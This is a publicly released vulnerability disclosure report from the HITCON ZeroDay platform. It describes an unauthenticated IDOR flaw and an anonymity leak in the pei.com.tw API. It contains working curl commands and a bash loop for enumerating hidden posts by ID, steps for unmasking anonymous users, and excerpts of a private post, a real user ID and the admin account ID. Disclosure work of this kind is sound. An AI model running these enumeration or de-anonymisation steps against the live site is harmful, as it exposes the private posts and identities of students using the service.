Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2026-00519
- Vendor: 壹一壹一科技股份有限公司
- Title: pei.com.tw 未授權 IDOR — 可枚舉所有已刪除/隱藏貼文及匿名用戶去匿名化
- Introduction: 未登入攻擊者可透過遞增整數 ID 讀取所有被管理員隱藏的貼文完整內容,並可透過 API 回應中洩漏的 userId 對匿名貼文進行去匿名化。
處理狀態
目前狀態
公開
Last Update : 2026/06/09
-
新提交
-
已審核
-
已通報
-
未回報修補狀況
-
未複測
-
公開
處理歷程
- 2026/04/09 08:46:38 : 新提交 (由 yee3642 更新此狀態)
- 2026/04/14 20:00:33 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/05/13 15:52:28 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/05/13 15:52:28 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/05/13 15:52:28 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/06/09 03:00:06 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2026-00519
- 通報者:yee3642 (yee3642)
- 風險:高
- 類型:不安全的直接存取物件 (Insecure Direct Object References, IDOR)
參考資料
攻擊者可經由該漏洞取得系統中的其他使用者的資料或是系統檔案。
OWASP Top 10 - 2013 A4 - Insecure Direct Object References
https://www.owasp.org/index.php/Top_10_2013-A4-Insecure_Direct_Object_References
Insecure Direct Object Reference Prevention Cheat Sheet
https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Insecure_Direct_Object_Reference_Prevention_Cheat_Sheet.md
OWASP Top 10 - 2017 A5 - Broken Access Control
https://www.owasp.org/index.php/Top_10-2017_A5-Broken_Access_Control
OWASP Top 10 - 2013 A4 - Insecure Direct Object References
https://www.owasp.org/index.php/Top_10_2013-A4-Insecure_Direct_Object_References
Insecure Direct Object Reference Prevention Cheat Sheet
https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Insecure_Direct_Object_Reference_Prevention_Cheat_Sheet.md
OWASP Top 10 - 2017 A5 - Broken Access Control
https://www.owasp.org/index.php/Top_10-2017_A5-Broken_Access_Control
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)
相關網址
https://pei.com.tw/api/feed/3
https://pei.com.tw/api/feed/101
https://pei.com.tw/api/feed
https://pei.com.tw/api/feed/101
https://pei.com.tw/api/feed
敘述
漏洞一:IDOR — 未授權存取已隱藏貼文
漏洞說明
GET /api/feed/{id} 使用連續整數作為主鍵,且未對 isHidden: true 的貼文進行存取控制。
管理員刪除/隱藏的貼文,任何人無需登入即可透過直接 ID 存取完整內容。
重現步驟
無需任何 Token 或 Cookie
curl -s "https://pei.com.tw/api/feed/101"
回應內容(節錄)
{
"title": "求婚後對另一半心累",
"content": "半年前求婚後開始規劃北海道之旅...",
"isHidden": true,
"isAnonymous": true,
"adminEditReason": "版塊錯誤",
"adminEditedAt": "2026-03-09 09:00:25",
"author": { "id": 0, "name": "匿名" }
}
枚舉腳本
for id in $(seq 1 3000); do
curl -s "https://pei.com.tw/api/feed/$id" | grep -q '"isHidden":true' \
&& echo "隱藏貼文: https://pei.com.tw/api/feed/$id"
done
已確認隱藏貼文(無認證)
┌──────────┬──────────────┬──────────────────────────────┐
│ ID │ 作者角色 │ 說明 │
├──────────┼──────────────┼──────────────────────────────┤
│ 3–11 │ super_admin │ 管理員刪除的官方內容 │
├──────────┼──────────────┼──────────────────────────────┤
│ 101 │ user(匿名) │ 用戶私人情感貼文,含刪除原因 │
├──────────┼──────────────┼──────────────────────────────┤
│ 261, 432 │ user │ 一般用戶被刪貼文 │
└──────────┴──────────────┴──────────────────────────────┘
額外洩漏:管理員帳號資訊
隱藏貼文回應中暴露超級管理員帳號:
{ "id": 1, "name": "Admin", "role": "super_admin" }
---
漏洞二:匿名貼文去匿名化
漏洞說明
GET /api/feed(無需登入)回應中,replyPreviews 陣列即使該回覆標記為 isAnonymous: true,仍包含真實 userId。
攻擊者可在同一 API 回應中交叉比對非匿名貼文,還原匿名用戶真實身份。
重現步驟
curl -s "https://pei.com.tw/api/feed" | grep '"isAnonymous":true'
# 可見 "userId":9703433665 等真實 ID
交叉比對同一回應中非匿名貼文:
{ "id": 9703433665, "name": "艾倫|中山社會學系學長", "avatar": "/api/uploads/photos/9703433665_..." }
影響
- 匿名發表敏感內容(心理健康、感情、考試失利)的高中生可被任意識別真實身份
---
影響範圍
- 所有被刪除/隱藏的貼文完整內容可被公開讀取
- 管理員審核決策(原因、時間)遭洩漏
- 匿名用戶隱私保護完全失效
- 超級管理員帳號 ID 暴露擷圖
留言討論
登入後留言
聯絡組織
發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。